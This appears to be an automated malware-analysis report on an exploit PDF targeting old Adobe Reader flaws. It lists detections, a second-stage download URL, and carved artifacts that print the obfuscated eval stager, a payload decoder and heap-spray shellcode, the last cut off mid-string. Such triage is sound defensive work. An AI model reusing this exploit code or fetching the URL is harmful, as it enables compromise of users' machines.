Malicious PDF — malware analysis report

Static analysis result for SHA-256 5445f2d2185024d8…

MALICIOUS

PDF

40.4 KB First seen: 2012-07-12
MD5: d6234685f512edc483bed94e1a3504ac SHA-1: d53e3ec03a0a671db6a0a9543dad71cc4acee5c2 SHA-256: 5445f2d2185024d868d38bc244e97c7a97607b4b365ba4d6ded569fd4b27a42c
570 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript and triggers a critical heuristic for CVE-2007-5659, specifically related to the 'collab.collectEmailInfo' function. This indicates the file is designed to exploit a known vulnerability in older versions of Adobe Reader to execute arbitrary code. The presence of obfuscated JavaScript streams and U3D content further supports this attack vector. The primary intent appears to be the execution of malicious code via the exploit.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 14

  • Adobe Reader U3D auto-activated 3D annotation — CVE-2009-3459 critical CVE likely CVE_2009_2990_U3D_AUTOACTIVATE
    PDF contains a /Subtype /3D annotation that is configured to auto-activate on page view (/3DA <</A /PV /AIS /I>>) alongside a /U3D stream and JavaScript. This is the document shape used by CVE-2009-2990 (Adobe Reader U3D CLODProgressiveMeshDeclaration heap overflow, APSB09-15): the U3D parser runs without any user interaction once the page is rendered, while the accompanying JavaScript prepares a heap-spray to land controlled memory inside the corrupted allocation.
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • Adobe Reader U3D CLODProgressiveMeshDeclaration exploit critical CVE likely CVE_2009_3953
    PDF combines malformed U3D 3D content with JavaScript/action activation. CVE-2009-3953 is an Adobe Reader/Acrobat U3D CLODProgressiveMeshDeclaration array-boundary vulnerability triggered by malformed U3D data in a PDF.
  • U3D/3D content in PDF — Adobe Reader 3D parser CVE-family indicator high CVE related PDF_U3D_CVE_RELATED
    PDF contains U3D (Universal 3D) or 3D annotation content — CVE-2011-2462 and CVE-2009-3953 are critical vulnerabilities in Adobe Reader's U3D processing that allow arbitrary code execution. U3D content in PDFs is extremely rare in normal documents.
  • JavaScript action low 4 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Adobe Reader APSB09-15 patch-range version gate (CVE-2009-3459) high CVE likely PDF_JS_ADOBE_APSB09_15_PATCH_GATE
    PDF JavaScript gates the exploit payload on an Adobe Reader version range that exactly matches the APSB09-15 patch boundary (< 9.2, < 8.1.7, < 7.1.4). That boundary fingerprints the CVE-2009-2990 / CVE-2009-3459 U3D parser vulnerabilities — no benign script tests all three Reader version-points together.
  • Adobe Reader APSB08-13 patch-range version gate (CVE-2007-5659) high CVE likely PDF_JS_ADOBE_APSB08_13_PATCH_GATE
    PDF JavaScript gates the exploit payload on (>= 8 && < 8.1.1) OR (< 7.1) — the Reader 7.0.x / 8.0–8.1.1 window patched by Adobe APSB08-13 for the CVE-2007-5659 Collab.collectEmailInfo buffer overflow. Only kits that target that exact bug check both of those patch points; benign scripts do not.
    Matched line in script
    var YCS7_4 = new Array();var wLKhFQ = 0;var l7VY_Kf6Q4rV3jp = "";function b7B4gYH(q__t_yt4_7_0uH, Kd8E_P_I1__o){var WbI_XN8_mc3 = Kd8E_P_I1__o.toString();var K1_3VS5h_e = "";for(var blp_lPs_8j = 0; blp_lPs_8j < WbI_XN8_mc3.length; blp_lPs_8j++) {var g7_D7vUI_2Y = parseInt(WbI_XN8_mc3.substr(blp_lPs_8j, 1));if (!isNaN(g7_D7vUI_2Y)) {g7_D7vUI_2Y = g7_D7vUI_2Y.toString(16);if (g7_D7vUI_2Y.length == 1) { g7_D7vUI_2Y = "0" + g7_D7vUI_2Y; }else if (g7_D7vUI_2Y.length != 2) { g7_D7vUI_2Y = "00"; }K1_3V …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • ClamAV: Heuristics.PDF.ObfuscatedNameObject critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Heuristics.PDF.ObfuscatedNameObject
  • Hex-obfuscated scripting name object critical PDF_OBFUSCATED_NAME_OBJECT
    A PDF name object that drives script execution (/JavaScript or /JS) is written with #XX hex escapes to hide it from string-based scanners — e.g. /J#61v#61S#63r#69p#74 decoding to /JavaScript. Legitimate PDF producers always write these names literally; hex-encoding an executable name is a deliberate evasion used by exploit-kit and dropper PDFs.
  • Annotation subject percent-decoding eval stager critical PDF_ANNOT_SUBJECT_MARKER_EVAL_STAGER
    OpenAction JavaScript forces annotation enumeration, reads an annotation /Subject payload with getAnnots(), rewrites marker bytes into percent escapes, decodes it with unescape(), and dispatches it through eval. This is a high-confidence exploit-kit staging pattern. It is intentionally not mapped to CVE-2009-1492 unless getAnnots() itself carries the crafted integer or long argument shape for that vulnerability.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://mghsptpmmlc.com/nte/prox.php/yH78960f97V0100f060006R06330f21102T34932c38203l000c Referenced by PDF JavaScript

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x1A4 343 bytes
SHA-256: 1847af0a099665b6ac45af66402e56ed64237a1b287618ee3d6643267fda6f35
Preview script
First 1,000 lines of the extracted script
em = ''; r = (r = 'l' + 'a' + em + 'ce', 'rep' + r); if (r && !em) {var z; var y; th = event.target; z = y = th; 
	 y = 0; 	 z['syncAn'+'notS'+'can'] ( ); y = z;var p = y['g'+'et'+'Annots']( {  nPage: 0 }) ;var s = p[0].subject;var l = s[r](/k /g, 'q%p'[r](/[qp]/g, ''));s = th['unes' + 'cape'] (l) ;var e = th[em + 'e'+ em + 'v'+'al']; e(s);}
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x2F7 13005 bytes
SHA-256: 7c1f3af01f99af859158d552537eb1a0e9d47a4d28ee01093969c570582cf394
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function f5o281A_CX5(Q452dRXv5, i_GH7Rx8T886){  var x8_2t3 = 'um' + 'en' + "ts";x8_2t3 = 'a' + 'rg' + x8_2t3;var A2_iS6df = f5o281A_CX5[x8_2t3]["c" + "a" + "zzee"['r'+'epl'+'ace'](/zz/, 'll')];A2_iS6df = A2_iS6df["t"+"oS"+"t"+"r"+"ing"]();var U_VL__r_bjYm__h = 0;try {if (app) {U_VL__r_bjYm__h++;U_VL__r_bjYm__h++;}} catch(e) { }var lG_S5r_fu__W = new Array();if (Q452dRXv5) { lG_S5r_fu__W = Q452dRXv5;} else {var ix_g4o = 0;var e_vX_02q = 0;var K_wK__Hv004xvDR = 512;var XJc42r_Dw = 52;XJc42r_Dw = XJc42r_Dw - 4;var YP___376_W_e = XJc42r_Dw + 9;while(e_vX_02q < A2_iS6df.length) {var v0gsVgF5_x5jy = 1;var Rt_3_2fc04aIs3 = A2_iS6df['c'+'h'+'arC'+'odeAt'](e_vX_02q);if (Rt_3_2fc04aIs3 <= YP___376_W_e && Rt_3_2fc04aIs3 >= XJc42r_Dw) {if (ix_g4o == 4) { ix_g4o = 0; }if (isNaN(lG_S5r_fu__W[ix_g4o])) {lG_S5r_fu__W[ix_g4o] = 0;}lG_S5r_fu__W[ix_g4o] += Rt_3_2fc04aIs3;if (lG_S5r_fu__W[ix_g4o] > 512) {lG_S5r_fu__W[ix_g4o] -= K_wK__Hv004xvDR;}ix_g4o++;}e_vX_02q++;}}ix_g4o = 4;for (var pwx8_w = 0; pwx8_w < 4; pwx8_w++) {if (lG_S5r_fu__W[pwx8_w] > 256) {lG_S5r_fu__W[pwx8_w] -= 256;}}var N_1yX4 = 0;var w_s_Qy__VY = "";var qX8kT3Yvau = 0;var UqU_65H887 = 0;var w6__35H;var QdbDv2D83_1Ucd = 0;while(qX8kT3Yvau < i_GH7Rx8T886.length) {var cUGq_gp_x6 = i_GH7Rx8T886.substr(qX8kT3Yvau, 1) + "Z";var m334N_54qa084Ud = parseInt(cUGq_gp_x6, 16);if (UqU_65H887) {w6__35H += m334N_54qa084Ud;if (N_1yX4 == 4) {N_1yX4 -= 4;}var q7_x1H_7tC = w6__35H;q7_x1H_7tC = q7_x1H_7tC - (1 + QdbDv2D83_1Ucd + 1) * lG_S5r_fu__W[N_1yX4];if (q7_x1H_7tC < 0) {          var l_12ex = 256;q7_x1H_7tC = q7_x1H_7tC - Math['floor'](q7_x1H_7tC / l_12ex) * 256;}q7_x1H_7tC = String['from' + 'CharCode'](q7_x1H_7tC);if (U_VL__r_bjYm__h == 2) {w_s_Qy__VY += q7_x1H_7tC;} else if (U_VL__r_bjYm__h == 1) {w_s_Qy__VY += m334N_54qa084Ud;} else {w_s_Qy__VY += qX8kT3Yvau;}N_1yX4++;UqU_65H887 = 0;QdbDv2D83_1Ucd++;} else {UqU_65H887 = 1;w6__35H = m334N_54qa084Ud * 16;}qX8kT3Yvau++;};var abcd=0; ;var TpImLas_t0 = this;TpImLas_t0['ev'+'al'](w_s_Qy__VY);}
	f5o281A_CX5(0, "9075826AA7C77389E1285097D6D2A5D90A15C2DC7FBD889B8D2AD1ECA69BCCCD22DAE1AA2B24D0CD98D522BAC21B16FBE99F36E00FF85208259E60DA63C422E4957A8538F1F88941301492113898A73B72FCC149BDB8BF6B06E8CF312554F54A26B4DB6E6649FF62C1BDE179F553E99D40B5424A552629918A822899D3073362D7345BAE06C97FA2613D61B995D36ED6D927C4DC07B2C79AFBEFE6DB7844CBB399C7E6DDA36CFFF7C2B1D0BCF81F26117C7C460BB0E4421EE2935C0A1903382CFA5130FA49A4823EB2539C2AE9C3784CCA107041408DBF4A60ECCF67A957AE6EDF02F77E163FC0744EE40F8666571F5AB47FFB539E3F56932454577145E837B86F5D6F7CA7A45D72F255A2CD1BADAED6122BB2B37D9CAEAAB121D3ADB497F5E42D0802B2507010F18EC423F98E4EECC2BB7DF9E5272A00DA139D630887F228299173540104D96931F44D590316DFA71989188760B38DBF24EBD4AD1A2D5BDF46310AE5538D36F940D6E3038E084D2E89F2850653392D46525A9B2799AADB7697E37342A3FCF085C06968987A73A1609393F4CB8A057BBFB6092AC5C36556D9A277B4B2BA9024CBB209AB0FDE0D5A15EB698629E55E41451EE59910230CC428291173540184D96931744D5E46DBD2A75612F47127FE7689128DD4D731A568B778CFDDEF3C0724DD3204A4E03C51043D6D7BB30380D1F9489117542D5A4DDB5F86518A6593ADB67972AD147B8B159796B51F3CAFCF59C1DDE9BA1DDCDFAE6FB1E1EDEAE3BF566305C08ED91E01CA4CE0DEAA8CF9CA39E42BE35167460D5B0C5F277A5130ECBEA640FDE23F613929BA93179233B5257EC1D65304D4B4651783F76C63C700404E41C083C1D324790F58F48101B3009F46F254A185A862A3D40B2873D03D4BB334A448966D458FD1A0CD73D2A002BCCF0CABD4DAF2F1AD9A374DA0FD5AD8FBDBCD7B0AFBD5E4E6BA1304E2D22C74FBCA822F3111E99E59ED16DA3BE257797C3D73A48938621C7445C7C3B74C1307C0200CB0C5607928D81A6761A034A3B40B2AF26FF17159DE194D861AE05F6A76005AA0FF00AFFD654F6D3CF735AA797930876EA65374A21F509E21B59FD9543D83DA54648B927404929AB144CBB319C7E6DD236CFFF75DE6150ECB562EC2D5852FDD1417151A51992B378C196E25CE7D7F38AEFB5504F85376392CDD9F416C27982286B3BF5EF117C32EF244D63667F3EF4F8369FF498BEF267B0804275615B3118B422C4966646C4FB186E120B0FF8B308B40F681CB2A16528371DAA1D48A3AA89BEAA3BFC33113BDDB2661A0F19900EFEDC138DB0803E6D005221619D842B301DE90FF4918925C1825F2D659F8127341FE60A45DF2B1539C39D9B774101635C35E27B2C4578A03D6226849F532AAB6B933CE25DD320FA5D93A914D264272BF1C5CD7FA1891E368425A11C43662575130B9ADF07FB5D5285EC61BD2A7D652FD70E58578ABD19315B4E2EF58B2BA190BEBBA4B24DDB291D31CF9B937F4D0FDC9321D3236081D3E6649F05E0331F6AC343BEAC2B04004EB2F963227B09F417B33AF37BF649D120113DC592977B4306D09F27DA2760980C99CE046B64F0C54238A08892FF8325B6DB16DA5B2D65978D273417E20A45D72332F96C9A88468C4D644AFD6EEB7BFAA3CD4AD9A365FA0E4A604EFF6BE77FFCA0C94ECBA2C182D016999250F9DFB0E1ED7A2572E0EDF202446846F365EF77F0AAC1F5B0396DFB6431CF4B9322895AE4732F190507A91DF61BFE9F569E532037A43E6F3897A49019672B63C9ADD3030A5116C5A6314186F958E8679B8B5AC5188AB2F99C0D68CA9AA34259EBF4CB0C5E0B928D89AC361A0B3E3B40BAA574CEAE370C9D0D77606F0C4AA7FF013060E3100476F10378DD84B219B755432F7B8520A216B8B45429699186233811EB0A1802FB21DB8441772D53D65E0C263643CFF4396C6DB45D161228E3AB33C7A7123189C527110A19AEF5F83FB5878B302B658B1794F60B764D0A5D0D148B88ADD6490920CD4A1B56D58CBE17BF5D4F2D738D2CA01EB0B05221619D842B301DE902100EF925620EAC8DF67F62573512B52EC8906742C8F51D1CF8C14030A88490F78B2123DD4A1576661A024AAC4B2451950D26B18AC0F4B4A36E04D87740265E72A005ADA9B248545E56186827D447C86E39780EE599EC12ACC608F0A36BCDA7DB0B0E5B1ECDAA3A649A0B4E3B40BF1224FFFD383B818038A16F80101AF3BF6F01D16EA5165240C83C43DE27C4440ECC901973A2B60950258D0B0419624C34996AE802EB21BA4452565E14662FDC43C66631740CED91E810A4CE94245BA285B4A233F8391933D9B86CF3D62BC39856CEEAF40B9363F8F9B97A8A8CB9E0688C9159FC2DE4213DCCA7983B8EC5ABFB0BBCB24CBB209A8FBF91745040A738802E29D3B3B14DEA44F26F6175FFA44714B2C7AF47F3E92678F12E0846B1FCA068B67449C913E7113C159A571E122A5D1B02CD379D04212A4D25588493497BCC2F090D6F52C9111854F9933053BBF80897EADC2ED8FC0A2498FAD159872CB51FCBAC964A791D1BE19CFB1D583C5AEDADDD5F44172D1076BE514DECA4610CB05CB38132A2900DA5C93361D57036C27B94B5F29D3B28C37305BA44220967C2B6F3EA3588FB9A963F6F8E45C164DA07D64F3D66D5F630C77C1ABFF79DB04EB5FEABE2F7061F53F9E97932789C5E93BBF047356ADFFE38CB7612B7FB97B847D82D43396CDCFA3CCD731EBBFD94B52F3F79C0704FCD77207BAD2A0F9DF40372ED37F9D410E82384202A16619F5180974374C8230346DCA8303A1609539ADB39F27E551B65F4CA7D45B812290489874D764D902C632204DD87636C818796128EC429CB32F5DE63D3F9CE9934F994FF12C62804A5B819AC68AB1E13759D52CC5B2825A0C96C97DB7BFA48217D4D9BD44BDA2EA0CC0ED1E67D0F552D7EB10B756E00CE99A33DB1D30451129834FFF46E12037C879832DEFF485FA14538F0D5EDD9F4C6133AF49C791892D0815E21A1C58ED6159D9E56F8D3BC04F82D6E75CCA4B196AF2C619626218349A917F3466860A368DD16052B42DE3637B3D6A91CC56D9B29AC909A59BBE8180E74019E3DD6794E5AA5CB905C39E3DD0B717ADE0D3060935DB3A8D00CFB3F61117D459651CDED939E74F4D40FF3EA9950B722960FFEB9AA117DBF9C51D11AAC61787EAA45EA849F534ADCCC92F2334D248439925527819F947BFBA0390E0E95569E795565F5B0A66725139858084E95777F7579292E789B592503AB68F93A9C2A685D9E5DFBE89E4A72FFAF6EE4F2915F888DA16BFCB1423D8EB7945E220F919D7676453EA5AC97524927641EF03B4540AF519A50A2C9478079F0C831F9669D523C217A41F3B57B3372AB9056D6167D0348BAF267B08042F8136B3337D32E41D525459657396D930670F4D407FFEA9958B3229607FAB9D70979AF67095BE6685E70BE4A9AA2B99B9B273C4B5FFA734D9C2C7E9E9CA0F14E5173B8935E3633910E2A265152FDB0A30F2FF8971FB44B845477224630A9BD97012DA04755F127498543729A85C7687A577ABF7C73AD379D87443D8D58F4814F65A6FC9078EB6F405A7E567209D0B193075514835BFB3E65988A76968BC1C9765D71A0C86A243B9C6A98A1695EFB658B6E3DF09F5C2233DC50752A411D37B59F0D2BA84F51F24FD45E417A926205CDC25378A44462FB3F9560AF224554F2D9677174F49864E94A78567F81AA52EEB99B8642BCAB57F933C054A87E9E04ACF17E597FA84005A233944696A9615AF9ED43479BF89407A01EA45C76855678F5BD975999E0B75DFD67494A9F729A0AA398AA5F7A0F5C7BF937905F8DAD6D50F0917F5082FC908DBA1FD0527A364551DCB1930F20A45353F46E650026769680DDAC76557DA37B31D03B9952447E5956F7C5CB5359F09C03BDE38C58712A4E04A3B59F558B0BAF59FB3251095D7A9256B1BDD25B75276457C73F95585B22655CFEE9474950F49809A51A685E7B815A7AFAB99B7E4F2C5B5FF206906F547E9E6FD8C18E517C189060DE33918E52267152F56DC65247F8940FDC6BD4547F62793111BD972475A08755F94A79626B729D330FC87A5772ACCC43D5379D57492A4D58FF915F883EFC9035A2EF805A7666928728B193375CA4435BF03B483822769658D6B9465D79F0485A1C3B995A8381A95EF3E57B1B25F09C0BAD43CC507D3D8E7CFFB59F0D340B5F51FA32618E597A953F1D6072537114640FD33F956097829554FD99B7715CF49801E1277856749E6A7306B99B334ADC7B57FE237034907E9E24A461CE5978187028EA3391565E46415AF1BDA66A83F8945AB7EB845C7BA276593DBD970964D0675DF567494A37729A0AAB985A5F7F3F8C7BF1379D5C888DAD50F8B15F0DAAFC9080CF3FA0527259727EF4B1937F69276353FC5BC5307E769960F269765576236852083B99222C9EA956F2C59B0351F09F3436137C58796A5E453BB59F0552BB8F59F31F7436757A920A0CA0625B7CB4472AFF3F98684352C55CF669C77968F49B3CC017585E702E7A0DE2B99B4B29EF5B5FFD43505F4C7E9E1000946E5176F8B07DF63391814A799152FD8D83527FF89742E3EB745477A5666109BD97444DA37755F13A998543729A02D7787A577B2F6F46ED379D87412A8D58F7919F0556FC9058FDF2605A7156725730B1965787F4C35BFB4EA86B7A76968BF1CCA65D71A3984CF43B999AAB71795EFBE85E6E7DF09C7EF1E69C50787A614D27B59F3D5C187F51FF625431317A923F05B0625378C7A412BB3F95607F924554F2B9D76444F49801A92778567C9E8A632EB99B73231C8B57F606AD37387E9E67EC84AE597008C066123391762696715AF9DD43776BF8946AE04E845C7382766BD5BD976959C3975DFD4A896D8F729A6DF388AA5F770C9C7BE9379D7C2D4DAD50F0C4AF7D42FC9020F75FC0527A86C27EACB1932281144353F42BC570B67696312A99B6557DD0A832303B9962845E4956F795BB33B9F09C33AE33AC58715A4E34B3B59F6587D84F59FB1FA1362D7A9236A19D425B74D4A437A73F95382B72655CFE99773980F49839A517785E785E6A6B0AB99B3B3EDC5B5FF2136D3C247E9E3CD8B18E517BD8D03DEE33913E42567152F59D736F57F8943FCC1BC4547F527630A1BD973126037755F91749322B729A02AFC57A23D5B04003882760581A4D81A71B621E09738B9438D5F34455AA9692270C5EA5F7813736F8C21CC587A71539CB999B7748E8A2A84D7FDA3A5C73713A7A32F5FF6E3ACB4FFE9CD72EFC40DA40FF9354EE0DF2A8448DE6EF410E2A26F661B18C44CFA0C877F436DED88076231504FE89C9F17FF057E5643B2C7667AD49A1A785FF663ECB4D94F18570E4357BD217E5A5822726A91F099DD234E81E49F209945036A624734389686B693C1FB5399C2EB8F70DA1D0C79A588A3A6D58313DCDFE55BCFE1FFB4CDAA4363F3F156A619017E4E1FE8ED852F162323170151791CDA6FE96A15C8458513FFE86446244459156CC5B2029006C349B77BD356F9D4AD1AEE94B84859F3036960340376C1ABD047B6143856FA84005A2EED0FA191935E89980F30A1F9737A8534F392722A6A91CC56DCB7C1C94381A0F788C4DFF2F190AA4144F8F999F3FFBBA45DE4F60F94ECBA3C163301638B430EA5FF002AE9934F29D7DA59063E813BF537A49B2B85476739AABFB8590933BF1B149DA4567F119037668EDF48DDC5EF761363D76141B9D0453659325AA989255BB9415D9827A253AE4F136E62684B7882C0C87F83B84C7B8A1CC3938A134FC6CB9064C7D185EBC1C1B756B6B519CADBD40E41C0B444AF1609C804E804F6C42F160E373FEA5C542DDA56DF2024C6846F36DEF77F0A2C146CFA27967B028C40C049CA94D351CA1E9B25EF44FB6959C7C75B7535D24895D3E665E004EB5FEAC93E8F712741A2975C125FDBD46372FD39857A31B483742B2FADD097D660CBA128C4BBFF7AB0920FD4929C418AEFF45ABCF2F6DE630CE215D3E804F621E0D245743216AE234C02E5932824C6E020F90F444BEA70F09031AE44A339AECE6B0DD3F4CB531598D44373EAC01A7161A069D9C7C75BF535D24815D3E665601F3D96B2BD4358E1334C9E139643AE55166562573453B9BAF081B4B0579FC622C9A3D62F41B1D38A8DCED8C1DCEBEDFB86EABCDAB6B2B60E7113F95C9419D1AA581103C0A44DD3F925502220975C1F8716542BC7795F3F02AC971E0D5C762B1F9FBD489F42B35EC7B3CE12F713CF2E378ACB2A3F0BDA69785BFF818BEF267B08042B5429B52F5E63254791A4542D5ADDF04BAAE0654BB334A4487A476B7AB980BB9FD18A128D8AD6648698F2F9E7C4656ED7E1A9B4CCAAA632D1C3CB942C16F62937EC699E2709ADE41CD2A96221E3C61F4E142A6B72297CBA4804752050FC9BD97045DA37755F0EA7905534E0903FBD6EDF4CD1F3FF33E965108210EA18526C27F573BD852F9EB433006FD28227A21E1644A14B4A68957EEA7FA5BD6B7CA51EAA918227F4B1DA8E72D3D7C608D9E7EB73F5F6E2B6F1FA5E3216FA5ACAF3CFA757F101FE8A3FD2E7E60CD2235D2B37460D66E282598714EDCE773131146CFA2D92711453F4CB50D3B2C366FB23DE1A2F83F3376EFFF43DA66FD854D5D32942BF043B963CCDF0A54C16308994935E708ED6326EBA3635BFFEE750B5276960BD66C7628E8A19C7B4FD8EB7D141DDABF06796A0E6A6F3EFE9CD34EAE3DADBD0D7F611F01A419716ED840726F6ADA8582319D267274E557E387DF893FAA6608F39D5C3702CFB0CB716FEA8CC517113CF2A9075B869A6B4F4760D63FF7112BE01527D10E086B6B32F89DDF42A83EA9B197563C463A38E777872B3AD40CDE5639ECD25D0A5905A46B9D892B0CE9A7415DEE8F598F3A21F0CF3EF5E7809019094150CC85332C4B38FF0273B2D3F2527A85B1E591C6BFA9C876F43B6AD5B4F1046803158C3AE18520583167E668567C217A05DEB99B0652AF7B2364E49175CC1BE0779050DFB8B3074F89530234191669951A1C5162962157580BAFCE78CB7636684C3A3C98FD7DEFCBB9CFDA5BFA63715D7D9784DBBFFB70AF1FC8E6AD6DDD9C0F204354303C2477400E5B42552D2CA9F3A1910E65209398630072EE5904270649C4FDDADAE55E53ABF5CFE6CD65384D4DB3EB866B650C8E8E03ECE41C0421D941B5E8826F67098A8205E9E00008A1D7E4FA428F647A18C427CAFBCEB94BABD149B9E28A676B03828A09E496F8992CD2AD1ECA697EDD9EAD6E0DC3B6D12B25F940805A0432AE4DC9B2F1C192F2424346A3E087AF4341F888A753C01ED8F40FD5D96FA1ED7AD395A16A03CABADD212D0D4D630115BCC4464F3EF4D57241B32C8AAFB51E2262A812997F0671E374D896276408CB30D727DBA918DB334A448B372645ED09FC9B7C7DC2AB5DC11ADCFE0F2F1AD9A3F52B1B26DB4B6B08E6AD6DDD9C0F204354303C2467409D86FF709D2ED9A2605DDF0422C397353EA4BA4590073276B57DFCA600ACBFCB620297BAC347C13CF3D6660A03B9A100C2A143AEB492EB61A797527E06087740958B0ED00AE2E54105A06C528A8505F479690EE7FB1C5146C7AEE84BCDE0A3A86B55590A2DCB113B39AC461A0BAE8C5C7B30E801CB24294D0BB7E4AF6EDC1A012141D2323D22E5427DAA2202028905F4716D0EE7F3105146E17169B6E135EFD790AD9A9BF51C625D645EE8AB64D31E0D2748D63E33B9DF1");
legacy_pdfkit_stage_001.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x2F7 5482 bytes
SHA-256: 904d6deda1c517ca7e93fc4bc641d37f0e9a2140e80bff4f98585ab55f126ddb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var YCS7_4 = new Array();var wLKhFQ = 0;var l7VY_Kf6Q4rV3jp = "";function b7B4gYH(q__t_yt4_7_0uH, Kd8E_P_I1__o){var WbI_XN8_mc3 = Kd8E_P_I1__o.toString();var K1_3VS5h_e = "";for(var blp_lPs_8j = 0; blp_lPs_8j < WbI_XN8_mc3.length; blp_lPs_8j++) {var g7_D7vUI_2Y = parseInt(WbI_XN8_mc3.substr(blp_lPs_8j, 1));if (!isNaN(g7_D7vUI_2Y)) {g7_D7vUI_2Y = g7_D7vUI_2Y.toString(16);if (g7_D7vUI_2Y.length == 1) { g7_D7vUI_2Y = "0" + g7_D7vUI_2Y; }else if (g7_D7vUI_2Y.length != 2) { g7_D7vUI_2Y = "00"; }K1_3VS5h_e = g7_D7vUI_2Y + K1_3VS5h_e;}}while(K1_3VS5h_e.length < 8) { K1_3VS5h_e = "0" + K1_3VS5h_e; }var DkQ_wji3p6 = q__t_yt4_7_0uH.toString(16);if (DkQ_wji3p6.length == 1) { DkQ_wji3p6 = "0" + DkQ_wji3p6; }else if (DkQ_wji3p6.length != 2) { DkQ_wji3p6 = "00"; }K1_3VS5h_e = "3" + DkQ_wji3p6 + "P" + K1_3VS5h_e;return K1_3VS5h_e;}function w526_F_6y__BSH8(o_l_cS4, V4m__EUe_7){var g4K_AaDhi428_w = new Array("");var fX1L__Q__Ma = o_l_cS4;var kL2Y68_14R;if ((kL2Y68_14R = o_l_cS4.lastIndexOf("%u00")) != -1) {if (kL2Y68_14R + 6 == o_l_cS4.length) {g4K_AaDhi428_w[0] = o_l_cS4.substr(kL2Y68_14R + 4, 2);fX1L__Q__Ma = o_l_cS4.substring(0, kL2Y68_14R);}}kL2Y68_14R = 1;for (blp_lPs_8j = 0; blp_lPs_8j < V4m__EUe_7.length; blp_lPs_8j++) {var iHJQNU = V4m__EUe_7.charCodeAt(blp_lPs_8j).toString(16);if (iHJQNU.length == 1) { iHJQNU = "0" + iHJQNU; }g4K_AaDhi428_w[kL2Y68_14R] = iHJQNU;kL2Y68_14R++;}blp_lPs_8j = g4K_AaDhi428_w[0].length ? 0 : 1;g4K_AaDhi428_w[kL2Y68_14R] = "00";g4K_AaDhi428_w[kL2Y68_14R + 1] = "00";kL2Y68_14R += 2;if ((g4K_AaDhi428_w.length - blp_lPs_8j) % 2) {g4K_AaDhi428_w[kL2Y68_14R] = "00";}while(blp_lPs_8j < g4K_AaDhi428_w.length) {fX1L__Q__Ma += "%u" + g4K_AaDhi428_w[blp_lPs_8j + 1] + g4K_AaDhi428_w[blp_lPs_8j];blp_lPs_8j += 2;}fX1L__Q__Ma += "%u0000";return fX1L__Q__Ma;}function U_S_42ig(j_Fc1_le_7O_E, IEjSn1uIqdDtbP){while (j_Fc1_le_7O_E.length*2<IEjSn1uIqdDtbP) {j_Fc1_le_7O_E += j_Fc1_le_7O_E;}j_Fc1_le_7O_E = j_Fc1_le_7O_E.substring(0,IEjSn1uIqdDtbP/2);return j_Fc1_le_7O_E;}function NRPWb_n6(rI8dTTh_KD, R__3hy_j7___iM, f6K7LBj__C){var p8F__s_20cd_7 = 0x0c0c0c0c;var j_Fc1_le_7O_E = unescape(R__3hy_j7___iM);var V4m__EUe_7 = b7B4gYH(rI8dTTh_KD, f6K7LBj__C);var ur8_5U1 = unescape("%u9090%u9090%u9090%u21eb%ub859%u9050%u9050%u6a51%u33ff%u64db%u2389%u026a%u8b59%uf3fb%u75af%uff07%u66e7%ucb81%u0fff%ueb43%ue8ed%uffda%uffff%u0c6a%u8b59%u0c04%ub8b1%u0483%u0608%u8358%u10c4%u3350%uc3c0");var o_l_cS4 = "%u9050%u9050%u9050%u9050" + "%u9090%u9090%u9090%u9090%u15e9%u0001%u5f00%ua164%u0030%u0000%u408b%u8b0c%u1c70%u8bad%u2068%u7d80%u330c%u0374%ueb96%u8bf3%u0868%uf78b%u046a%ue859%u00a9%u0000%uf9e2%u6f68%u006e%u6800%u7275%u6d6c%uff54%u8b16%ue8e8%u0093%u0000%ud78b%u8047%u003f%ufa75%u5747%u8047%u003f%ufa75%uef8b%u335f%u81c9%u10ec%u0001%u8b00%u83dc%u0cc3%u5251%u6853%u0104%u0000%u56ff%u5a0c%u5159%u8b52%u5302%u8043%u003b%ufa75%u7b81%u2efc%u6c64%u756c%u8303%u08eb%u0389%u43c7%u2e04%u6c64%uc66c%u0843%u5b00%uc18a%u3004%u4588%u3300%u50c0%u5350%u5057%u56ff%u8310%u00f8%u1d75%u016a%ueb83%uc70c%u7203%u6765%uc773%u0443%u7276%u3233%u43c7%u2008%u732d%u5320%u56ff%u5a04%u8359%u04c2%u8041%u003a%u9d75%u56ff%u5108%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%u03ad%u33c5%u0fdb%u10be%uf238%u0874%ucbc1%u030d%u40da%uf1eb%u1f3b%ue775%u8b5e%u245e%udd03%u8b66%u4b0c%u5e8b%u031c